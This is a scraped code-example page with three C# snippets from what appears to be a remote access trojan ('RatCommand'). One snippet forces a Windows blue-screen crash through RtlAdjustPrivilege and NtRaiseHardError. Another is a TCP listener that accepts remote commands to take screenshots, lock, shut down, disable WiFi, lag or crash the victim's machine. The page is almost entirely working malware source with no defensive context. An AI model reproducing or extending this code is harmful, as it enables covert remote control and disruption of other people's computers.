Ejemplo n.º 1
0
 public static void Bsod()
 {
     WinApi.RtlAdjustPrivilege(19, true, false, out _);
     WinApi.NtRaiseHardError(0xc0000022, 0, 0, IntPtr.Zero, 6, out _);
 }
Ejemplo n.º 2
0
 public static void SendMessage(string message)
 {
     WinApi.MessageBox(WinApi.GetForegroundWindow(), message, GetActiveWindowTitle(), 0x40);
 }
Ejemplo n.º 3
0
        private static void StartServer()
        {
            Console.WriteLine("Starting server");

            var server = new Socket(SocketType.Stream, ProtocolType.Tcp);

            server.Bind(new IPEndPoint(IPAddress.Any, Common.Port));
            server.Listen(0);

            while (true)
            {
                Client = server.Accept();
                var buffer    = new byte[Common.BufferSize];
                var byteCount = Client.Receive(buffer);
                var command   = (RatCommand)buffer[0];

                switch (command)
                {
                case RatCommand.CloseActiveWindow:
                    Commands.CloseActiveWindow();
                    break;

                case RatCommand.ShowMessageBox:
                    Commands.ShowMessageBox();
                    break;

                case RatCommand.TakeScreenshot:
                    Commands.TakeScreenshot();
                    break;

                case RatCommand.Lock:
                    WinApi.LockWorkStation();
                    break;

                case RatCommand.Shutdown:
                    Commands.Shutdown();
                    break;

                case RatCommand.SendMessage:
                    Commands.SendMessage(Common.MessageEncoding.GetString(buffer, 1, byteCount));
                    break;

                case RatCommand.PlaySound:
                    Commands.PlaySound(new MemoryStream(buffer, 1, byteCount));
                    break;

                case RatCommand.Mute:
                    WinApi.keybd_event(ConsoleKey.VolumeMute, 0, 0, 0);
                    break;

                case RatCommand.DisableWiFi:
                    Commands.DisableWiFi();
                    break;

                case RatCommand.Lag:
                    Commands.Lag();
                    break;

                case RatCommand.Bsod:
                    Commands.Bsod();
                    break;

                case RatCommand.MaxVolume:
                    Commands.MaxVolume();
                    break;

                case RatCommand.Blink:
                    Commands.Blink();
                    break;

                default:
                    throw new ArgumentOutOfRangeException();
                }
            }
        }